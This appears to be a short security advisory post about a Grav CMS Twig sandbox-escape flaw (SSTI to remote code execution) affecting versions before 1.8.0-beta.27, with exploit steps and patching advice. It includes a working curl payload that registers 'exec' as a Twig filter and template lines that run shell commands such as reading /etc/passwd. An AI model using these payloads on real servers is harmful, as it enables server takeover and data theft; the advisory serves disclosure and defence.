Listen to this Post
This vulnerability exploits an incomplete security sandbox in Grav CMS’s Twig templating engine. Authenticated users with editor permissions can inject malicious Twig template directives into page content. The sandbox fails to properly isolate the Twig object, allowing direct interaction with its methods and attributes. Attackers can abuse this to call the `setFilter` method on the `system.twig` object. This adds arbitrary, unsafe functions to the `system.twig.safe_filters` array, effectively poisoning the filter allow-list. Once a malicious filter is registered, the attacker can use it within template syntax to execute PHP functions. This leads to a full bypass of the sandbox restrictions, enabling Remote Code Execution (RCE) on the underlying server by crafting a template that calls system commands or writes web shells.
Platform: Grav CMS
Version: < 1.8.0-beta.27
Vulnerability: SSTI to RCE
Severity: Critical
date: 2025-12-01
Prediction: 2025-12-01
What Undercode Say:
curl -X POST -H "Authorization: Bearer <editor_token>" -d "content={% set x = system.twig.setFilter('exec', 'exec') %}{{ 'id' | exec }}" http://target.grav/save/page
{ Malicious page content }
{% set x = system.twig.setFilter('shell_exec', 'shell_exec') %}
{{ 'cat /etc/passwd' | shell_exec }}
How Exploit:
1. Attacker authenticates as editor.
2. Injects malicious Twig directives into page.
3. Directives poison the `safe_filters` array.
4. Subsequent template rendering executes injected code.
Protection from this CVE
- Immediately upgrade to Grav CMS version 1.8.0-beta.27 or later.
- Restrict editor permissions strictly.
- Implement WAF rules to block Twig object manipulation patterns.
Impact:
- Full server compromise.
- Unauthorized data access/modification.
- Complete system integrity loss.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

